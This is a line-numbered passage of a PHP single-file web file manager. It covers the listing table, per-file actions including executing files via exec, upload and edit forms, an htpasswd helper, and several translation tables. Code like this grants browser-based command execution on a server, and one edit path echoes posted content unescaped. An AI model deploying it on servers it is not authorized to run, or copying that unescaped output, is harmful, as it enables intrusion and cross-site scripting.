  1115. echo '<tr class="listing">
  1116. <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
  1117. ';
  1118.  
  1119. $d = 'dir=' . urlencode($directory) . '&amp;';
  1120.  
  1121. if (!$reverse && $sort == 'filename') $r = '&amp;reverse=true'; else $r = '';
  1122. echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\n";
  1123.  
  1124. if (!$reverse && $sort == 'size') $r = '&amp;reverse=true'; else $r = '';
  1125. echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n";
  1126.  
  1127. if (!$win) {
  1128.  
  1129. if (!$reverse && $sort == 'permission') $r = '&amp;reverse=true'; else $r = '';
  1130. echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\n";
  1131.  
  1132. if (!$reverse && $sort == 'owner') $r = '&amp;reverse=true'; else $r = '';
  1133. echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\n";
  1134.  
  1135. if (!$reverse && $sort == 'group') $r = '&amp;reverse=true'; else $r = '';
  1136. echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\n";
  1137.  
  1138. }
  1139.  
  1140. echo ' <th class="functions">' . word('functions') . '</th>
  1141. </tr>
  1142. ';
  1143.  
  1144. for ($i = 0; $i < sizeof($list); $i++) {
  1145. $file = $list[$i];
  1146.  
  1147. $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
  1148. $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
  1149. $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
  1150.  
  1151. echo '<tr class="listing">
  1152. <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
  1153. <td class="filename" title="' . html($timestamps) . '">';
  1154.  
  1155. if ($file['is_link']) {
  1156.  
  1157. echo '<img src="' . $self . '?image=link" alt="link" /> ';
  1158. echo html($file['filename']) . ' &rarr; ';
  1159.  
  1160. $real_file = relative2absolute($file['target'], $directory);
  1161.  
  1162. if (@is_readable($real_file)) {
  1163. if (@is_dir($real_file)) {
  1164. echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
  1165. } else {
  1166. echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
  1167. }
  1168. } else {
  1169. echo html($file['target']);
  1170. }
  1171.  
  1172. } elseif ($file['is_dir']) {
  1173.  
  1174. echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
  1175. if ($win || $file['is_executable']) {
  1176. echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1177. } else {
  1178. echo html($file['filename']);
  1179. }
  1180. echo ' ]';
  1181.  
  1182. } else {
  1183.  
  1184. if (substr($file['filename'], 0, 1) == '.') {
  1185. echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
  1186. } else {
  1187. echo '<img src="' . $self . '?image=file" alt="file" /> ';
  1188. }
  1189.  
  1190. if ($file['is_file'] && $file['is_readable']) {
  1191. echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1192. } else {
  1193. echo html($file['filename']);
  1194. }
  1195.  
  1196. }
  1197.  
  1198. if ($file['size'] >= 1000) {
  1199. $human = ' title="' . human_filesize($file['size']) . '"';
  1200. } else {
  1201. $human = '';
  1202. }
  1203.  
  1204. echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
  1205.  
  1206. if (!$win) {
  1207.  
  1208. echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
  1209.  
  1210. $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
  1211. if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
  1212. echo html(permission_octal2string($file['permission']));
  1213. if ($l) echo '</a>';
  1214.  
  1215. echo "</td>\n";
  1216.  
  1217. if (array_key_exists('owner_name', $file)) {
  1218. echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
  1219. } else {
  1220. echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
  1221. }
  1222.  
  1223. if (array_key_exists('group_name', $file)) {
  1224. echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
  1225. } else {
  1226. echo "\t<td class=\"group\">{$file['group']}</td>\n";
  1227. }
  1228.  
  1229. }
  1230.  
  1231. echo ' <td class="functions">
  1232. <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
  1233. ';
  1234.  
  1235. $actions = array();
  1236. if (function_exists('symlink')) {
  1237. $actions[] = 'create_symlink';
  1238. }
  1239. if (@is_writable(dirname($file['path']))) {
  1240. $actions[] = 'delete';
  1241. $actions[] = 'rename';
  1242. $actions[] = 'move';
  1243. }
  1244. if ($file['is_file'] && $file['is_readable']) {
  1245. $actions[] = 'copy';
  1246. $actions[] = 'download';
  1247. if ($file['is_writable']) $actions[] = 'edit';
  1248. }
  1249. if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
  1250. $actions[] = 'execute';
  1251. }
  1252.  
  1253. if (sizeof($actions) > 0) {
  1254.  
  1255. echo ' <select class="small" name="action' . $i . '" size="1">
  1256. <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1257. ';
  1258.  
  1259. foreach ($actions as $action) {
  1260. echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  1261. }
  1262.  
  1263. echo ' </select>
  1264. <input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
  1265. ';
  1266.  
  1267. }
  1268.  
  1269. echo ' </td>
  1270. </tr>
  1271. ';
  1272.  
  1273. }
  1274.  
  1275. echo '<tr class="listing_footer">
  1276. <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
  1277. <td colspan="' . ($cols - 1) . '">
  1278. <input type="hidden" name="num" value="' . sizeof($list) . '" />
  1279. <input type="hidden" name="focus" value="" />
  1280. <input type="hidden" name="olddir" value="' . html($directory) . '" />
  1281. ';
  1282.  
  1283. $actions = array();
  1284. if (@is_writable(dirname($file['path']))) {
  1285. $actions[] = 'delete';
  1286. $actions[] = 'move';
  1287. }
  1288. $actions[] = 'copy';
  1289.  
  1290. echo ' <select class="small" name="action_all" size="1">
  1291. <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1292. ';
  1293.  
  1294. foreach ($actions as $action) {
  1295. echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  1296. }
  1297.  
  1298. echo ' </select>
  1299. <input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
  1300. </td>
  1301. </tr>
  1302. ';
  1303.  
  1304. }
  1305.  
  1306. function directory_choice () {
  1307. global $directory, $homedir, $cols, $self;
  1308.  
  1309. echo '<tr>
  1310. <td colspan="' . $cols . '" id="directory">
  1311. <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
  1312. <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
  1313. <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
  1314. </td>
  1315. </tr>
  1316. ';
  1317.  
  1318. }
  1319.  
  1320. function upload_box () {
  1321. global $cols;
  1322.  
  1323. echo '<tr>
  1324. <td colspan="' . $cols . '" id="upload">
  1325. ' . word('file') . ':
  1326. <input type="file" name="upload" onfocus="activate(\'other\')" />
  1327. <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
  1328. </td>
  1329. </tr>
  1330. ';
  1331.  
  1332. }
  1333.  
  1334. function create_box () {
  1335. global $cols;
  1336.  
  1337. echo '<tr>
  1338. <td colspan="' . $cols . '" id="create">
  1339. <select name="create_type" size="1" onfocus="activate(\'create\')">
  1340. <option value="file">' . word('file') . '</option>
  1341. <option value="directory">' . word('directory') . '</option>
  1342. </select>
  1343. <input type="text" name="create_name" onfocus="activate(\'create\')" />
  1344. <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
  1345. </td>
  1346. </tr>
  1347. ';
  1348.  
  1349. }
  1350.  
  1351. function edit ($file) {
  1352. global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
  1353.  
  1354. html_header();
  1355.  
  1356. echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
  1357.  
  1358. <form action="' . $self . '" method="post">
  1359.  
  1360. <table class="dialog">
  1361. <tr>
  1362. <td class="dialog">
  1363.  
  1364. <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
  1365.  
  1366. if (array_key_exists('content', $_POST)) {
  1367. echo $_POST['content'];
  1368. } else {
  1369. $f = fopen($file, 'r');
  1370. while (!feof($f)) {
  1371. echo html(fread($f, 8192));
  1372. }
  1373. fclose($f);
  1374. }
  1375.  
  1376. if (!empty($_POST['user'])) {
  1377. echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
  1378. }
  1379. if (!empty($_POST['basic_auth'])) {
  1380. if ($win) {
  1381. $authfile = str_replace('\\', '/', $directory) . $htpasswd;
  1382. } else {
  1383. $authfile = $directory . $htpasswd;
  1384. }
  1385. echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
  1386. echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
  1387. echo 'Require valid-user';
  1388. }
  1389.  
  1390. echo '</textarea>
  1391.  
  1392. <hr />
  1393. ';
  1394.  
  1395. if ($apache && basename($file) == $htpasswd) {
  1396. echo '
  1397. ' . word('user') . ': <input type="text" name="user" />
  1398. ' . word('password') . ': <input type="password" name="password" />
  1399. <input type="submit" value="' . word('add') . '" />
  1400.  
  1401. <hr />
  1402. ';
  1403.  
  1404. }
  1405.  
  1406. if ($apache && basename($file) == $htaccess) {
  1407. echo '
  1408. <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
  1409.  
  1410. <hr />
  1411. ';
  1412.  
  1413. }
  1414.  
  1415. echo '
  1416. <input type="hidden" name="action" value="edit" />
  1417. <input type="hidden" name="file" value="' . html($file) . '" />
  1418. <input type="hidden" name="dir" value="' . html($directory) . '" />
  1419. <input type="reset" value="' . word('reset') . '" id="red_button" />
  1420. <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
  1421.  
  1422. </td>
  1423. </tr>
  1424. </table>
  1425.  
  1426. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  1427.  
  1428. </form>
  1429.  
  1430. ';
  1431.  
  1432. html_footer();
  1433.  
  1434. }
  1435.  
  1436. function spacer () {
  1437. global $cols;
  1438.  
  1439. echo '<tr>
  1440. <td colspan="' . $cols . '" style="height: 1em"></td>
  1441. </tr>
  1442. ';
  1443.  
  1444. }
  1445.  
  1446. function textfieldsize ($content) {
  1447.  
  1448. $size = strlen($content) + 5;
  1449. if ($size < 30) $size = 30;
  1450.  
  1451. return $size;
  1452.  
  1453. }
  1454.  
  1455. function request_dump () {
  1456.  
  1457. foreach ($_REQUEST as $key => $value) {
  1458. echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
  1459. }
  1460.  
  1461. }
  1462.  
  1463. /* ------------------------------------------------------------------------- */
  1464.  
  1465. function html ($string) {
  1466. global $site_charset;
  1467. return htmlentities($string, ENT_COMPAT, $site_charset);
  1468. }
  1469.  
  1470. function word ($word) {
  1471. global $words, $word_charset;
  1472. return htmlentities($words[$word], ENT_COMPAT, $word_charset);
  1473. }
  1474.  
  1475. function phrase ($phrase, $arguments) {
  1476. global $words;
  1477. static $search;
  1478.  
  1479. if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
  1480.  
  1481. for ($i = 0; $i < sizeof($arguments); $i++) {
  1482. $arguments[$i] = nl2br(html($arguments[$i]));
  1483. }
  1484.  
  1485. $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
  1486.  
  1487. return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
  1488.  
  1489. }
  1490.  
  1491. function getwords ($lang) {
  1492. global $word_charset, $date_format;
  1493.  
  1494. switch ($lang) {
  1495. case 'de':
  1496.  
  1497. $date_format = 'd.m.y H:i:s';
  1498. $word_charset = 'ISO-8859-1';
  1499.  
  1500. return array(
  1501. 'directory' => 'Verzeichnis',
  1502. 'file' => 'Datei',
  1503. 'filename' => 'Dateiname',
  1504.  
  1505. 'size' => 'Größe',
  1506. 'permission' => 'Rechte',
  1507. 'owner' => 'Eigner',
  1508. 'group' => 'Gruppe',
  1509. 'other' => 'Andere',
  1510. 'functions' => 'Funktionen',
  1511.  
  1512. 'read' => 'lesen',
  1513. 'write' => 'schreiben',
  1514. 'execute' => 'ausführen',
  1515.  
  1516. 'create_symlink' => 'Symlink erstellen',
  1517. 'delete' => 'löschen',
  1518. 'rename' => 'umbenennen',
  1519. 'move' => 'verschieben',
  1520. 'copy' => 'kopieren',
  1521. 'edit' => 'editieren',
  1522. 'download' => 'herunterladen',
  1523. 'upload' => 'hochladen',
  1524. 'create' => 'erstellen',
  1525. 'change' => 'wechseln',
  1526. 'save' => 'speichern',
  1527. 'set' => 'setze',
  1528. 'reset' => 'zurücksetzen',
  1529. 'relative' => 'Pfad zum Ziel relativ',
  1530.  
  1531. 'yes' => 'Ja',
  1532. 'no' => 'Nein',
  1533. 'back' => 'zurück',
  1534. 'destination' => 'Ziel',
  1535. 'symlink' => 'Symbolischer Link',
  1536. 'no_output' => 'keine Ausgabe',
  1537.  
  1538. 'user' => 'Benutzername',
  1539. 'password' => 'Kennwort',
  1540. 'add' => 'hinzufügen',
  1541. 'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
  1542.  
  1543. 'uploaded' => '"[%1]" wurde hochgeladen.',
  1544. 'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
  1545. 'already_exists' => '"[%1]" existiert bereits.',
  1546. 'created' => '"[%1]" wurde erstellt.',
  1547. 'not_created' => '"[%1]" konnte nicht erstellt werden.',
  1548. 'really_delete' => 'Sollen folgende Dateien wirklich gelöscht werden?',
  1549. 'deleted' => "Folgende Dateien wurden gelöscht:\n[%1]",
  1550. 'not_deleted' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
  1551. 'rename_file' => 'Benenne Datei um:',
  1552. 'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
  1553. 'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
  1554. 'move_files' => 'Verschieben folgende Dateien:',
  1555. 'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
  1556. 'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
  1557. 'copy_files' => 'Kopiere folgende Dateien:',
  1558. 'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
  1559. 'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
  1560. 'not_edited' => '"[%1]" kann nicht editiert werden.',
  1561. 'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
  1562. 'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
  1563. 'saved' => '"[%1]" wurde gespeichert.',
  1564. 'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
  1565. 'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
  1566. 'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
  1567. 'permission_for' => 'Rechte für "[%1]":',
  1568. 'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
  1569. 'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
  1570. 'not_readable' => '"[%1]" kann nicht gelesen werden.'
  1571. );
  1572.  
  1573. case 'fr':
  1574.  
  1575. $date_format = 'd.m.y H:i:s';
  1576. $word_charset = 'ISO-8859-1';
  1577.  
  1578. return array(
  1579. 'directory' => 'Répertoire',
  1580. 'file' => 'Fichier',
  1581. 'filename' => 'Nom fichier',
  1582.  
  1583. 'size' => 'Taille',
  1584. 'permission' => 'Droits',
  1585. 'owner' => 'Propriétaire',
  1586. 'group' => 'Groupe',
  1587. 'other' => 'Autres',
  1588. 'functions' => 'Fonctions',
  1589.  
  1590. 'read' => 'Lire',
  1591. 'write' => 'Ecrire',
  1592. 'execute' => 'Exécuter',
  1593.  
  1594. 'create_symlink' => 'Créer lien symbolique',
  1595. 'delete' => 'Effacer',
  1596. 'rename' => 'Renommer',
  1597. 'move' => 'Déplacer',
  1598. 'copy' => 'Copier',
  1599. 'edit' => 'Ouvrir',
  1600. 'download' => 'Télécharger sur PC',
  1601. 'upload' => 'Télécharger sur serveur',
  1602. 'create' => 'Créer',
  1603. 'change' => 'Changer',
  1604. 'save' => 'Sauvegarder',
  1605. 'set' => 'Exécuter',
  1606. 'reset' => 'Réinitialiser',
  1607. 'relative' => 'Relatif',
  1608.  
  1609. 'yes' => 'Oui',
  1610. 'no' => 'Non',
  1611. 'back' => 'Retour',
  1612. 'destination' => 'Destination',
  1613. 'symlink' => 'Lien symbollique',
  1614. 'no_output' => 'Pas de sortie',
  1615.  
  1616. 'user' => 'Utilisateur',
  1617. 'password' => 'Mot de passe',
  1618. 'add' => 'Ajouter',
  1619. 'add_basic_auth' => 'add basic-authentification',
  1620.  
  1621. 'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
  1622. 'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
  1623. 'already_exists' => '"[%1]" existe déjà.',
  1624. 'created' => '"[%1]" a été créé.',
  1625. 'not_created' => '"[%1]" n a pas pu être créé.',
  1626. 'really_delete' => 'Effacer le fichier?',
  1627. 'deleted' => "Ces fichiers ont été détuits:\n[%1]",
  1628. 'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
  1629. 'rename_file' => 'Renomme fichier:',
  1630. 'renamed' => '"[%1]" a été renommé en "[%2]".',
  1631. 'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
  1632. 'move_files' => 'Déplacer ces fichiers:',
  1633. 'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
  1634. 'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
  1635. 'copy_files' => 'Copier ces fichiers:',
  1636. 'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
  1637. 'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
  1638. 'not_edited' => '"[%1]" ne peut être ouvert.',
  1639. 'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
  1640. 'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
  1641. 'saved' => '"[%1]" a été sauvegardé.',
  1642. 'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
  1643. 'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
  1644. 'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
  1645. 'permission_for' => 'Droits de "[%1]":',
  1646. 'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
  1647. 'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
  1648. 'not_readable' => '"[%1]" ne peut pas être ouvert.'
  1649. );
  1650.  
  1651. case 'it':
  1652.  
  1653. $date_format = 'd-m-Y H:i:s';
  1654. $word_charset = 'ISO-8859-1';
  1655.  
  1656. return array(
  1657. 'directory' => 'Directory',
  1658. 'file' => 'File',
  1659. 'filename' => 'Nome File',
  1660.  
  1661. 'size' => 'Dimensioni',
  1662. 'permission' => 'Permessi',
  1663. 'owner' => 'Proprietario',
  1664. 'group' => 'Gruppo',
  1665. 'other' => 'Altro',
  1666. 'functions' => 'Funzioni',
  1667.  
  1668. 'read' => 'leggi',
  1669. 'write' => 'scrivi',
  1670. 'execute' => 'esegui',
  1671.  
  1672. 'create_symlink' => 'crea link simbolico',
  1673. 'delete' => 'cancella',
  1674. 'rename' => 'rinomina',
  1675. 'move' => 'sposta',
  1676. 'copy' => 'copia',
  1677. 'edit' => 'modifica',
  1678. 'download' => 'download',
  1679. 'upload' => 'upload',
  1680. 'create' => 'crea',
  1681. 'change' => 'cambia',
  1682. 'save' => 'salva',
  1683. 'set' => 'imposta',
  1684. 'reset' => 'reimposta',
  1685. 'relative' => 'Percorso relativo per la destinazione',
  1686.  
  1687. 'yes' => 'Si',
  1688. 'no' => 'No',
  1689. 'back' => 'indietro',
  1690. 'destination' => 'Destinazione',
  1691. 'symlink' => 'Link simbolico',
  1692. 'no_output' => 'no output',
  1693.  
  1694. 'user' => 'User',
  1695. 'password' => 'Password',
  1696. 'add' => 'aggiungi',
  1697. 'add_basic_auth' => 'aggiungi autenticazione base',
  1698.  
  1699. 'uploaded' => '"[%1]" è stato caricato.',
  1700. 'not_uploaded' => '"[%1]" non è stato caricato.',
  1701. 'already_exists' => '"[%1]" esiste già.',
  1702. 'created' => '"[%1]" è stato creato.',
  1703. 'not_created' => '"[%1]" non è stato creato.',
  1704. 'really_delete' => 'Cancello questi file ?',
  1705. 'deleted' => "Questi file sono stati cancellati:\n[%1]",
  1706. 'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
  1707. 'rename_file' => 'File rinominato:',
  1708. 'renamed' => '"[%1]" è stato rinominato in "[%2]".',
  1709. 'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
  1710. 'move_files' => 'Sposto questi file:',
  1711. 'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
  1712. 'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
  1713. 'copy_files' => 'Copio questi file',
  1714. 'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
  1715. 'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
  1716. 'not_edited' => '"[%1]" non può essere modificato.',
  1717. 'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
  1718. 'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
  1719. 'saved' => '"[%1]" è stato salvato.',
  1720. 'not_saved' => '"[%1]" non è stato salvato.',
  1721. 'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
  1722. 'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
  1723. 'permission_for' => 'Permessi di "[%1]":',
  1724. 'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
  1725. 'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
  1726. 'not_readable' => '"[%1]" non può essere letto.'
  1727. );
  1728.  
  1729. case 'nl':
  1730.  
  1731. $date_format = 'n/j/y H:i:s';
  1732. $word_charset = 'ISO-8859-1';
  1733.  
  1734. return array(
  1735. 'directory' => 'Directory',
  1736. 'file' => 'Bestand',
  1737. 'filename' => 'Bestandsnaam',
  1738.  
  1739. 'size' => 'Grootte',
  1740. 'permission' => 'Bevoegdheid',
  1741. 'owner' => 'Eigenaar',
  1742. 'group' => 'Groep',
  1743. 'other' => 'Anderen',
  1744. 'functions' => 'Functies',
  1745.  
  1746. 'read' => 'lezen',
  1747. 'write' => 'schrijven',
  1748. 'execute' => 'uitvoeren',
  1749.  
  1750. 'create_symlink' => 'maak symlink',
  1751. 'delete' => 'verwijderen',
  1752. 'rename' => 'hernoemen',
  1753. 'move' => 'verplaatsen',
  1754. 'copy' => 'kopieren',
  1755. 'edit' => 'bewerken',
  1756. 'download' => 'downloaden',
  1757. 'upload' => 'uploaden',
  1758. 'create' => 'aanmaken',
  1759. 'change' => 'veranderen',
  1760. 'save' => 'opslaan',
  1761. 'set' => 'instellen',
  1762. 'reset' => 'resetten',
  1763. 'relative' => 'Relatief pat naar doel',
  1764.  
  1765. 'yes' => 'Ja',
  1766. 'no' => 'Nee',
  1767. 'back' => 'terug',
  1768. 'destination' => 'Bestemming',
  1769. 'symlink' => 'Symlink',
  1770. 'no_output' => 'geen output',
  1771.  
  1772. 'user' => 'Gebruiker',
  1773. 'password' => 'Wachtwoord',
  1774. 'add' => 'toevoegen',
  1775. 'add_basic_auth' => 'add basic-authentification',
  1776.  
  1777. 'uploaded' => '"[%1]" is verstuurd.',
  1778. 'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
  1779. 'already_exists' => '"[%1]" bestaat al.',
  1780. 'created' => '"[%1]" is aangemaakt.',
  1781. 'not_created' => '"[%1]" kan niet worden aangemaakt.',
  1782. 'really_delete' => 'Deze bestanden verwijderen?',
  1783. 'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
  1784. 'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
  1785. 'rename_file' => 'Bestandsnaam veranderen:',
  1786. 'renamed' => '"[%1]" heet nu "[%2]".',
  1787. 'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
  1788. 'move_files' => 'Verplaats deze bestanden:',
  1789. 'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
  1790. 'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
  1791. 'copy_files' => 'Kopieer deze bestanden:',
  1792. 'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
  1793. 'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
  1794. 'not_edited' => '"[%1]" kan niet worden bewerkt.',
  1795. 'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
  1796. 'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
  1797. 'saved' => '"[%1]" is opgeslagen.',
  1798. 'not_saved' => '"[%1]" is niet opgeslagen.',
  1799. 'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
  1800. 'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
  1801. 'permission_for' => 'Bevoegdheid voor "[%1]":',
  1802. 'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
  1803. 'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
  1804. 'not_readable' => '"[%1]" kan niet worden gelezen.'
  1805. );
  1806.  
  1807. case 'se':
  1808.  
  1809. $date_format = 'n/j/y H:i:s';
  1810. $word_charset = 'ISO-8859-1';
  1811.  
  1812. return array(
  1813. 'directory' => 'Mapp',
  1814. 'file' => 'Fil',
  1815. 'filename' => 'Filnamn',
  1816.  
  1817. 'size' => 'Storlek',
  1818. 'permission' => 'Säkerhetsnivå',
  1819. 'owner' => 'Ägare',
  1820. 'group' => 'Grupp',
  1821. 'other' => 'Andra',
  1822. 'functions' => 'Funktioner',
  1823.  
  1824. 'read' => 'Läs',
  1825. 'write' => 'Skriv',
  1826. 'execute' => 'Utför',
  1827.  
  1828. 'create_symlink' => 'Skapa symlink',
  1829. 'delete' => 'Radera',
  1830. 'rename' => 'Byt namn',
  1831. 'move' => 'Flytta',
  1832. 'copy' => 'Kopiera',
  1833. 'edit' => 'Ändra',
  1834. 'download' => 'Ladda ner',
  1835. 'upload' => 'Ladda upp',
  1836. 'create' => 'Skapa',
  1837. 'change' => 'Ändra',
  1838. 'save' => 'Spara',
  1839. 'set' => 'Markera',
  1840. 'reset' => 'Töm',
  1841. 'relative' => 'Relative path to target',
  1842.  
  1843. 'yes' => 'Ja',
  1844. 'no' => 'Nej',
  1845. 'back' => 'Tillbaks',
  1846. 'destination' => 'Destination',
  1847. 'symlink' => 'Symlink',
  1848. 'no_output' => 'no output',
  1849.  
  1850. 'user' => 'Användare',
  1851. 'password' => 'Lösenord',
  1852. 'add' => 'Lägg till',
  1853. 'add_basic_auth' => 'add basic-authentification',
  1854.  
  1855. 'uploaded' => '"[%1]" har laddats upp.',
  1856. 'not_uploaded' => '"[%1]" kunde inte laddas upp.',
  1857. 'already_exists' => '"[%1]" finns redan.',
  1858. 'created' => '"[%1]" har skapats.',
  1859. 'not_created' => '"[%1]" kunde inte skapas.',
  1860. 'really_delete' => 'Radera dessa filer?',
  1861. 'deleted' => "De här filerna har raderats:\n[%1]",
  1862. 'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
  1863. 'rename_file' => 'Byt namn på fil:',
  1864. 'renamed' => '"[%1]" har bytt namn till "[%2]".',
  1865. 'not_renamed' => '"[%1] kunde inte döpas om till "[%2]".',
  1866. 'move_files' => 'Flytta dessa filer:',
  1867. 'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
  1868. 'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
  1869. 'copy_files' => 'Kopiera dessa filer:',
  1870. 'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
  1871. 'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
  1872. 'not_edited' => '"[%1]" kan inte ändras.',
  1873. 'executed' => "\"[%1]\" har utförts:\n{%2}",
  1874. 'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
  1875. 'saved' => '"[%1]" har sparats.',
  1876. 'not_saved' => '"[%1]" kunde inte sparas.',
